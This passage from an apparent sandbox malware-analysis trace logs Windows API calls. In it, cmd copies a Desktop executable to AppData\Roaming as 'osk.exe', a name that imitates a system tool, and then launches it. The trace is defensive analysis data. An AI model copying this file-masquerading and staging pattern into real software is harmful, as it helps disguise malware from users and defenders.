_String2="Program", _MaxCount=0x7) returned -13 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0027.653] GetProcessHeap () returned 0x330000 [0027.653] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x331298 | out: hHeap=0x330000) returned 1 [0027.653] GetProcessHeap () returned 0x330000 [0027.653] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x18) returned 0x331298 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.653] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0027.654] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0027.654] GetProcessHeap () returned 0x330000 [0027.654] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x331298 | out: hHeap=0x330000) returned 1 [0027.654] GetProcessHeap () returned 0x330000 [0027.654] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1c4) returned 0x3432d8 [0027.654] GetProcessHeap () returned 0x330000 [0027.654] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x3432d8, Size=0xe8) returned 0x3432d8 [0027.654] GetProcessHeap () returned 0x330000 [0027.655] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x3432d8) returned 0xe8 [0027.655] _wcsnicmp (_String1="/y", _String2="/Y", _MaxCount=0x2) returned 0 [0027.655] GetProcessHeap () returned 0x330000 [0027.655] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2c) returned 0x3433c8 [0027.655] GetProcessHeap () returned 0x330000 [0027.655] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x258) returned 0x343400 [0027.655] _wcsicmp (_String1="mqrywk.exe", _String2=".") returned 63 [0027.655] _wcsicmp (_String1="mqrywk.exe", _String2="..") returned 63 [0027.655] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe")) returned 0x20 [0027.655] GetProcessHeap () returned 0x330000 [0027.655] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2c) returned 0x343660 [0027.655] GetProcessHeap () returned 0x330000 [0027.655] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x258) returned 0x3441f0 [0027.655] _wcsicmp (_String1="osk.exe", _String2=".") returned 65 [0027.655] _wcsicmp (_String1="osk.exe", _String2="..") returned 65 [0027.655] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x27, ProcessInformation=0x2ef258, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x2ef258, ReturnLength=0x0) returned 0x0 [0027.655] NtSetInformationProcess (ProcessHandle=0xffffffff, ProcessInformationClass=0x27, ProcessInformation=0x2ef260, ProcessInformationLength=0x4) returned 0x0 [0027.655] VirtualAlloc (lpAddress=0x0, dwSize=0xfe00, flAllocationType=0x1000, flProtect=0x4) returned 0xe0000 [0027.655] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", fInfoLevelId=0x1, lpFindFileData=0x343408, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x343408) returned 0x343698 [0027.656] GetProcessHeap () returned 0x330000 [0027.656] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x14) returned 0x331298 [0027.656] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", nBufferLength=0x104, lpBuffer=0x2ee578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpFilePart=0x0) returned 0x35 [0027.656] _wcsicmp (_String1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", _String2="con") returned -53 [0027.656] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2ee764, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000080, hTemplateFile=0x0) returned 0x78 [0027.656] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0027.656] _get_osfhandle (_FileHandle=3) returned 0x78 [0027.656] GetFileType (hFile=0x78) returned 0x1 [0027.656] SetErrorMode (uMode=0x0) returned 0x0 [0027.656] SetErrorMode (uMode=0x1) returned 0x0 [0027.656] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", nBufferLength=0x208, lpBuffer=0x2eea18, lpFilePart=0x2ee79c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", lpFilePart=0x2ee79c*="mqrywk.exe") returned 0x30 [0027.656] SetErrorMode (uMode=0x0) returned 0x1 [0027.656] _get_osfhandle (_FileHandle=3) returned 0x78 [0027.656] ReadFile (in: hFile=0x78, lpBuffer=0xe0000, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x2ee808, lpOverlapped=0x0 | out: lpBuffer=0xe0000*, lpNumberOfBytesRead=0x2ee808*=0x200, lpOverlapped=0x0) returned 1 [0027.657] SetErrorMode (uMode=0x0) returned 0x0 [0027.657] SetErrorMode (uMode=0x1) returned 0x0 [0027.657] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", nBufferLength=0x208, lpBuffer=0x2ee378, lpFilePart=0x2ee370 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpFilePart=0x2ee370*="osk.exe") returned 0x35 [0027.657] SetErrorMode (uMode=0x0) returned 0x1 [0027.657] _wcsicmp (_String1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", _String2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe") returned 3 [0027.657] GetProcessHeap () returned 0x330000 [0027.657] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x258) returned 0x344450 [0027.657] _wcsicmp (_String1="osk.exe", _String2=".") returned 65 [0027.657] _wcsicmp (_String1="osk.exe", _String2="..") returned 65 [0027.657] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\osk.exe")) returned 0xffffffff [0027.658] GetLastError () returned 0x2 [0027.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", nBufferLength=0x104, lpBuffer=0x2ee578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpFilePart=0x0) returned 0x35 [0027.658] SetErrorMode (uMode=0x0) returned 0x0 [0027.658] SetErrorMode (uMode=0x1) returned 0x0 [0027.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", nBufferLength=0x208, lpBuffer=0x2ee378, lpFilePart=0x2ee370 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpFilePart=0x2ee370*="osk.exe") returned 0x35 [0027.658] SetErrorMode (uMode=0x0) returned 0x1 [0027.658] _wcsicmp (_String1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe", _String2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe") returned 3 [0027.658] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\osk.exe")) returned 0xffffffff [0027.658] CopyFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\osk.exe"), lpProgressRoutine=0x0, lpData=0x0, pbCancel=0x49df41b4, dwCopyFlags=0x0) returned 1 [0027.687] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\osk.exe")) returned 0x2020 [0027.687] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", dwFileAttributes=0x2020) returned 1 [0027.687] _close (_FileHandle=3) returned 0 [0027.687] _get_osfhandle (_FileHandle=-1) returned 0xffffffff [0027.688] GetFileType (hFile=0xffffffff) returned 0x0 [0027.688] _get_osfhandle (_FileHandle=-1) returned 0xffffffff [0027.688] SetFileTime (hFile=0xffffffff, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x2ee7ac) returned 0 [0027.688] FindNextFileW (in: hFindFile=0x343698, lpFindFileData=0x343408 | out: lpFindFileData=0x343408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e3d680, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x287c6d00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x261a1300, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x30a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mqrywk.exe", cAlternateFileName="")) returned 0 [0027.688] GetLastError () returned 0x12 [0027.688] FindClose (in: hFindFile=0x343698 | out: hFindFile=0x343698) returned 1 [0027.688] NtSetInformationProcess (ProcessHandle=0xffffffff, ProcessInformationClass=0x27, ProcessInformation=0x2ef258, ProcessInformationLength=0x4) returned 0x0 [0027.688] _vsnwprintf (in: _Buffer=0x49df5040, _BufferCount=0x103, _Format="%9d", _ArgList=0x2ef234 | out: _Buffer=" 1") returned 9 [0027.688] _get_osfhandle (_FileHandle=1) returned 0x7 [0027.688] GetFileType (hFile=0x7) returned 0x2 [0027.688] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0027.688] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2ef1c0 | out: lpMode=0x2ef1c0) returned 1 [0027.688] _get_osfhandle (_FileHandle=1) returned 0x7 [0027.688] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x2ef1f4 | out: lpConsoleScreenBufferInfo=0x2ef1f4) returned 1 [0027.689] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2336, dwLanguageId=0x0, lpBuffer=0x49e04640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="%1 file(s) copied.\r\n") returned 0x14 [0027.689] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2336, dwLanguageId=0x0, lpBuffer=0x49e04640, nSize=0x2000, Arguments=0x2ef234 | out: lpBuffer=" 1 file(s) copied.\r\n") returned 0x1b [0027.689] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e04640*, nNumberOfCharsToWrite=0x1b, lpNumberOfCharsWritten=0x2ef218, lpReserved=0x0 | out: lpBuffer=0x49e04640*, lpNumberOfCharsWritten=0x2ef218*=0x1b) returned 1 [0027.689] _get_osfhandle (_FileHandle=1) returned 0x7 [0027.689] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0027.690] _get_osfhandle (_FileHandle=1) returned 0x7 [0027.690] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49df41ac | out: lpMode=0x49df41ac) returned 1 [0027.690] _get_osfhandle (_FileHandle=0) returned 0x3 [0027.690] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49df41b0 | out: lpMode=0x49df41b0) returned 1 [0027.690] SetConsoleInputExeNameW () returned 0x1 [0027.690] GetConsoleOutputCP () returned 0x1b5 [0027.690] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49df4260 | out: lpCPInfo=0x49df4260) returned 1 [0027.690] SetThreadUILanguage (LangId=0x0) returned 0x409 [0027.690] exit (_Code=0) Process: id = "5" image_name = "osk.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\osk.exe" page_root = "0x34034000" os_pid = "0xab0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xb84" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 11 os_tid = 0xb10 [0028.651] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0028.652] GetKeyboardType (nTypeFlag=0) returned 4 [0028.652] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\" " [0028.652] GetStartupInfoA (in: lpStartupInfo=0x18fef8 | out: lpStartupInfo=0x18fef8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0028.652] GetACP () returned 0x4e4 [0028.652] GetCurrentThreadId () returned 0xb10 [0028.652] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18ede8, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\osk.exe")) returned 0x35 [0028.661] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18ecc3, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\osk.exe")) returned 0x35 [0028.662] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18edd8 | out: phkResult=0x18edd8*=0x0) returned 0x2 [0028.662] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18edd8 | out: phkResult=0x18edd8*=0x0) returned 0x2 [0028.662] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18edd8 | out: phkResult=0x18edd8*=0x0) returned 0x2 [0028.662] lstrcpynA (in: lpString1=0x18ecc3, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", iMaxLength=261 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe" [0028.662] GetThreadLocale () returned 0x409 [0028.662] GetLocaleInfoA (in: Locale=0x409, LCType=0x3, lpLCData=0x18edd3, cchData=5 | out: lpLCData="ENU") returned 4 [0028.663] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe") returned 53 [0028.663] lstrcpynA (in: lpString1=0x18ecf5, lpString2="ENU", iMaxLength=211 | out: lpString1="ENU") returned="ENU" [0028.663] LoadLibraryExA (lpLibFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.ENU", hFile=0x0, dwFlags=0x2) returned 0x0 [0028.663] lstrcpynA (in: lpString1=0x18ecf5, lpString2="EN", iMaxLength=211 | out: lpString1="EN") returned="EN" [0028.663] LoadLibraryExA (lpLibFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.EN", hFile=0x0, dwFlags=0x2) returned 0x0 [0028.663] LoadStringA (in: hInstance=0x400000, uID=0xffc1, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffc0, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffde, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffdf, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffd2, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffda, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffd1, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffee, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffd5, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffd4, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffe7, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffe8, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffe9, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xfff7, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xfff6, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] LoadStringA (in: hInstance=0x400000, uID=0xfff5, lpBuffer=0x18ef18, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.664] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x1d30000 [0028.665] LoadStringA (in: hInstance=0x400000, uID=0xfff3, lpBuffer=0x18ef04, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.665] LoadStringA (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x18ef04, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0028.665] GetVersionExA (in: lpVersionInformation=0x18fe9c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x4, dwMinorVersion=0x140000, dwBuildNumber=0x18fec4, dwPlatformId=0x7541e37d, szCSDVersion="ÿÿÿÿ") | out: lpVersionInformation=0x18fe9c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0028.665] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0028.665] GetProcAddress (hModule=0x76e10000, lpProcName="GetDiskFreeSpaceExA") returned 0x76ea434f [0028.665] GetThreadLocale () returned 0x409 [0028.665] GetSystemMetrics (nIndex=42) returned 0 [0028.670] GetThreadLocale () returned 0x409 [0028.670] GetLocaleInfoA (in: Locale=0x409, LCType=0x44, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Jan") returned 4 [0028.670] GetLocaleInfoA (in: Locale=0x409, LCType=0x38, lpLCData=0x18fd74, cchData=256 | out: lpLCData="January") returned 8 [0028.670] GetLocaleInfoA (in: Locale=0x409, LCType=0x45, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Feb") returned 4 [0028.670] GetLocaleInfoA (in: Locale=0x409, LCType=0x39, lpLCData=0x18fd74, cchData=256 | out: lpLCData="February") returned 9 [0028.670] GetLocaleInfoA (in: Locale=0x409, LCType=0x46, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Mar") returned 4 [0028.670] GetLocaleInfoA (in: Locale=0x409, LCType=0x3a, lpLCData=0x18fd74, cchData=256 | out: lpLCData="March") returned 6 [0028.670] GetLocaleInfoA (in: Locale=0x409, LCType=0x47, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Apr") returned 4 [0028.670] GetLocaleInfoA (in: Locale=0x409, LCType=0x3b, lpLCData=0x18fd74, cchData=256 | out: lpLCData="April") returned 6 [0028.670] GetLocaleInfoA (in: Locale=0x409, LCType=0x48, lpLCData=0x18fd74, cchData=256 | out: lpLCData="May") returned 4 [0028.670] GetLocaleInfoA (in: Locale=0x409, 